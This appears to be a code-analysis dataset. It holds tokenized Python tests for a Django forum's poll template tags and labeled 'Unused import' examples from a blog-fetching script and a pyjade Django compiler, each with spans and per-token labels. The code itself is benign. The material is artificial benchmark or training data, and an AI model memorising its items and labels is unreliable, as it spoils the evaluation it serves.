"}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "close", "\\u", "link_", "=_", "reverse_", "(_", "'", "spir", "it", ":", "comment", ":", "poll", ":", "close", "'_", ",_", "kwargs_", "=_", "{_", "'", "pk", "'_", ":_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "close", "\\u", "link_", "not_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "template", "\\u", "form", "\\u", "open_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "display", " ", "the", " ", "open", " ", "button", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", "._", "polls", "_", "[_", "0_", "]_", "._", "close", "\\u", "at_", "=_", "timezone_", "._", "now_", "(_", ")_", "#", " ", "render", "s", " ", "results", ".", "html_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "self_", "._", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "\\u", "link_", "=_", "reverse_", "(_", "'", "spir", "it", ":", "comment", ":", "poll", ":", "open", "'_", ",_", "kwargs_", "=_", "{_", "'", "pk", "'_", ":_", "self_", "._", "user", "\\u", "poll_", "._", "pk_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "open", "\\u", "link_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "not", " ", "display", " ", "the", " ", "view", " ", "results", " ", "link", " ", "whe", "n", " ", "poll", " ", "is", " ", "secret", " ", "and", " ", "is", " ", "not", " ", "close", "d", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "utils_", "._", "create", "\\u", "comment_", "(_", "topic_", "=_", "self_", "._", "topic_", ",_", "comment", "\\u", "html_", "=_", "\"<", "poll", " ", "name", "=", "bar", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Comme", "nt", "Poll", "_", "._", "objects_", "._", "create_", "(_", "comment_", "=_", "comment_", ",_", "name_", "=_", "'", "bar", "'_", ",_", "mode_", "=_", "Poll", "Mode_", "._", "SECRET_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", "=_", "comment_", "._", "\\u\\u", "class\\u\\u_", "._", "objects_", "._", "filter_", "(_", "pk_", "=_", "comment_", "._", "pk_", ")_", "._", "with", "\\u", "polls", "_", "(_", "self_", "._", "user_", ")_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "Show", " ", "results", "'_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "form", "'_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comme", "nt", "Poll", "Templa", "te", "Ta", "gs", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "render", "\\u", "polls", "\\u", "secret", "\\u", "closed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "display", " ", "the", " ", "results", " ", "whe", "n", " ", "poll", " ", "is", " ", "secret", " ", "and", " ", "is", " ", "close", "d", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "utils_", "._", "create", "\\u", "comment_", "(_", "topic_", "=_", "self_", "._", "topic_", ",_", "comment", "\\u", "html_", "=_", "\"<", "poll", " ", "name", "=", "bar", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yesterday", "_", "=_", "timezone_", "._", "now_", "(_", ")_", "-_", "timezone_", "._", "timedelta_", "(_", "days_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Comme", "nt", "Poll", "_", "._", "objects_", "._", "create_", "(_", "comment_", "=_", "comment_", ",_", "name_", "=_", "'", "bar", "'_", ",_", "mode_", "=_", "Poll", "Mode_", "._", "SECRET_", ",_", "close", "\\u", "at_", "=_", "yesterday", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", "=_", "comment_", "._", "\\u\\u", "class\\u\\u_", "._", "objects_", "._", "filter_", "(_", "pk_", "=_", "comment_", "._", "pk_", ")_", "._", "with", "\\u", "polls", "_", "(_", "self_", "._", "user_", ")_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "=_", "Template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "load", " ", "spir", "it", "\\u", "tags", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"{", "%", " ", "post", "\\u", "render", "\\u", "comment", " ", "comment", "=", "comment", " ", "%}", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "render_", "(_", "Context_", "(_", "{_", "'", "comment", "'_", ":_", "user", "\\u", "comment", "\\u", "with", "\\u", "polls", "_", ",_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "'", "csr", "f", "\\u", "token", "'_", ":_", "'", "foo", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "out_", "._", "strip_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "show", "\\u", "poll", "='_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "form", "'_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "comment", "-", "poll", "'_", "in_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poll", "Ut", "il", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "render", " ", "the", " ", "static", " ", "polls", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment", "\\u", "html_", "=_", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "_", "(_", "self_", "._", "comment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "my", " ", "poll", "'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "\\u", "parts_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "._", "strip_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "l_", "in_", "strip", "\\u", "tags_", "(_", "comment", "\\u", "html_", ")_", "._", "splitlines_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "l_", "._", "strip_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "comment", "\\u", "parts_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "my", " ", "poll", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'#", "1", " ", "choice", " ", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'#", "2", " ", "choice", " ", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Name", ":", " ", "foo", ",", " ", "choice", " ", "selection", ":", " ", "from", " ", "1", " ", "up", " ", "to", " ", "1", ",", " ", "mode", ":", " ", "default", "'_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poll", "Ut", "il", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "\\u", "many_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "render", " ", "the", " ", "many", " ", "static", " ", "polls", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "utils_", "._", "create", "\\u", "comment_", "(_", "topic_", "=_", "self_", "._", "topic_", ",_", "comment", "\\u", "html_", "=_", "\"<", "poll", " ", "name", "=", "foo", ">\\\\", "n", "<", "poll", " ", "name", "=", "bar", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Comme", "nt", "Poll", "_", "._", "objects_", "._", "create_", "(_", "comment_", "=_", "comment_", ",_", "name_", "=_", "'", "foo", "'_", ",_", "title_", "=_", "\"", "my", " ", "poll", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Comme", "nt", "Poll", "_", "._", "objects_", "._", "create_", "(_", "comment_", "=_", "comment_", ",_", "name_", "=_", "'", "bar", "'_", ",_", "title_", "=_", "\"", "my", " ", "other", " ", "poll", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "\\u", "html_", "=_", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "_", "(_", "comment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "my", " ", "poll", "'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "my", " ", "other", " ", "poll", "'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poll", "Ut", "il", "s", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "\\u", "close", "\\u", "at_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sho", "ul", "d", " ", "render", " ", "the", " ", "static", " ", "polls", " ", "with", " ", "close", "\\u", "at", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "timezone_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "utils_", "._", "create", "\\u", "comment_", "(_", "topic_", "=_", "self_", "._", "topic_", ",_", "comment", "\\u", "html_", "=_", "\"<", "poll", " ", "name", "=", "foo", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Comme", "nt", "Poll", "_", "._", "objects_", "._", "create_", "(_", "comment_", "=_", "comment_", ",_", "name_", "=_", "'", "foo", "'_", ",_", "title_", "=_", "\"", "my", " ", "poll", "\"_", ",_", "close", "\\u", "at_", "=_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "\\u", "html_", "=_", "post", "\\u", "render", "\\u", "static", "\\u", "polls", "_", "(_", "comment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "close", " ", "at", ":'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Name", ":'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "choice", " ", "selection", ":'_", "in_", "comment", "\\u", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_",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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
rcos/Observatory/observatory/dashboard/fetch/fetch_single_blog.py
[ { "content": "#!/usr/bin/env python\n\n# Copyright (c) 2010, individual contributors (see AUTHORS file)\n#\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nimport os, subprocess\nfrom fetch_core import setup_environment, cprint\nfrom sys import argv\n\nsetup_environment()\n\nfrom dashboard.models import Blog, Project\nfrom observatory.settings import BLOG_FETCH_PROCESS_COUNT\n\nblog = Blog.objects.get(id = argv[1])\n\nif blog.from_feed:\n try:\n title = blog.project.title\n except:\n try:\n\t\ttitle = blog.user.get_full_name()\n except:\n\t\ttitle = \"Unknown\"\n cprint(\"==> Fetching the blog for {0}\".format(title), \"magenta\", attrs=[\"bold\"])\n blog.fetch()\n cprint(\"==> Done fetching the blog for {0}\".format(title), \"green\", attrs=[\"bold\"])\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os, subprocess", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 21 }, { "span": "from dashboard.models import Blog, Project", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 42 }, { "span": "from observatory.settings import BLOG_FETCH_PROCESS_COUNT", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 57 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", ",", " ", "individual", " ", "contributor", "s", " ", "(", "see", " ", "AUTHOR", "S", " ", "file", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "and", "/", "or", " ", "distribute", " ", "this", " ", "software", " ", "for", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "purpose", " ", "with", " ", "or", " ", "with", "out", " ", "fe", "e", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "provided", " ", "tha", "t", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "appear", " ", "in", " ", "all", " ", "copie", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\"", " ", "AND", " ", "THE", " ", "AUTHOR", " ", "DISC", "LAI", "MS", " ", "ALL", " ", "WAR", "RAN", "TIES", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", " ", "REG", "ARD", " ", "TO", " ", "THIS", " ", "SOFT", "WARE", " ", "INC", "LU", "DING", " ", "ALL", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "AUTHOR", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ANY", " ", "SPECIAL", ",", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "OR", " ", "ANY", " ", "DA", "MAGE", "S_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WH", "ATS", "OE", "VER", " ", "RESU", "LT", "ING", " ", "FROM", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", " ", "OR", " ", "PROF", "IT", "S", ",", " ", "WHE", "THER", " ", "IN", " ", "AN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", " ", "TOR", "TIO", "US", " ", "ACTI", "ON", ",", " ", "ARI", "SIN", "G", " ", "OUT", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OR", " ", "IN", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "USE", " ", "OR", " ", "PERF", "ORM", "ANCE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fetch", "\\u", "core_", "import_", "setup", "\\u", "environment_", ",_", "cpr", "int_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sys_", "import_", "argv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "\\u", "environment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "dashboard_", "._", "models_", "import_", "Blog", "_", ",_", "Project_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "observa", "tor", "y_", "._", "settings_", "import_", "BLO", "G", "\\u", "FETCH", "\\u", "PROCESS", "\\u", "COUNT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "blog_", "=_", "Blog", "_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "argv_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "blog_", "._", "from", "\\u", "feed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "blog_", "._", "project_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "title_", "=_", "blog_", "._", "user_", "._", "get", "\\u", "full", "\\u", "name_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "title_", "=_", "\"", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cpr", "int_", "(_", "\"==", ">", " ", "Fe", "tch", "ing", " ", "the", " ", "blog", " ", "for", " ", "{", "0", "}\"_", "._", "format_", "(_", "title_", ")_", ",_", "\"", "mage", "nta", "\"_", ",_", "attrs_", "=_", "[_", "\"", "bold", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blog_", "._", "fetch_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpr", "int_", "(_", "\"==", ">", " ", "Don", "e", " ", "fetch", "ing", " ", "the", " ", "blog", " ", "for", " ", "{", "0", "}\"_", "._", "format_", "(_", "title_", ")_", ",_", "\"", "green", "\"_", ",_", "attrs_", "=_", "[_", "\"", "bold", "\"_", "]_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
glennyonemitsu/MarkupHiveSDK/pyjade/ext/django/compiler.py
[ { "content": "import logging\nimport os\n\nfrom pyjade import Compiler as _Compiler, Parser, register_filter\nfrom pyjade.runtime import attrs\nfrom pyjade.exceptions import CurrentlyNotSupported\nfrom pyjade.utils import process\n\nfrom django.conf import settings\n\n\n\nfrom django import template\ntemplate.add_to_builtins('pyjade.ext.django.templatetags')\n\nfrom django.utils.translation import trans_real\n\n\ntrans_real.templatize = decorate_templatize(trans_real.templatize)\n\ntry:\n from django.contrib.markup.templatetags.markup import markdown\n\n \nexcept ImportError:\n pass\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Compiler(_Compiler):\n autocloseCode = 'if,ifchanged,ifequal,ifnotequal,for,block,filter,autoescape,with,trans,blocktrans,spaceless,comment,cache,localize,compress'.split(',')\n useRuntime = True\n\n\n\n\n\n", "metadata": "root.Compiler", "header": "['module', '___EOS___']", "index": 10 }, { "content": " def __init__(self, node, **options):\n if settings.configured:\n options.update(getattr(settings,'PYJADE',{}))\n super(Compiler, self).__init__(node, **options)", "metadata": "root.Compiler.__init__", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 14 }, { "content": " def visitCodeBlock(self,block):\n self.buffer('{%% block %s %%}'%block.name)\n if block.mode=='append': self.buffer('{{block.super}}')\n self.visitBlock(block)\n if block.mode=='prepend': self.buffer('{{block.super}}')\n self.buffer('{% endblock %}')", "metadata": "root.Compiler.visitCodeBlock", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 19 }, { "content": " def visitAssignment(self,assignment):\n self.buffer('{%% __pyjade_set %s = %s %%}'%(assignment.name,assignment.val))", "metadata": "root.Compiler.visitAssignment", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 26 }, { "content": " def visitMixin(self,mixin):\n self.mixing += 1\n if not mixin.call:\n self.buffer('{%% __pyjade_kwacro %s %s %%}'%(mixin.name,mixin.args)) \n self.visitBlock(mixin.block)\n self.buffer('{% end__pyjade_kwacro %}')\n elif mixin.block:\n raise CurrentlyNotSupported(\"The mixin blocks are not supported yet.\")\n else:\n self.buffer('{%% __pyjade_usekwacro %s %s %%}'%(mixin.name,mixin.args))\n self.mixing -= 1", "metadata": "root.Compiler.visitMixin", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 29 }, { "content": " def visitCode(self,code):\n if code.buffer:\n val = code.val.lstrip()\n self.buf.append('{{%s%s}}'%(val,'|force_escape' if code.escape else ''))\n else:\n self.buf.append('{%% %s %%}'%code.val)\n\n if code.block:\n self.visit(code.block)\n\n if not code.buffer:\n codeTag = code.val.strip().split(' ',1)[0]\n if codeTag in self.autocloseCode:\n self.buf.append('{%% end%s %%}'%codeTag)", "metadata": "root.Compiler.visitCode", "header": "['class', 'Compiler', '(', '_Compiler', ')', ':', '___EOS___']", "index": 41 }, { "content": " def 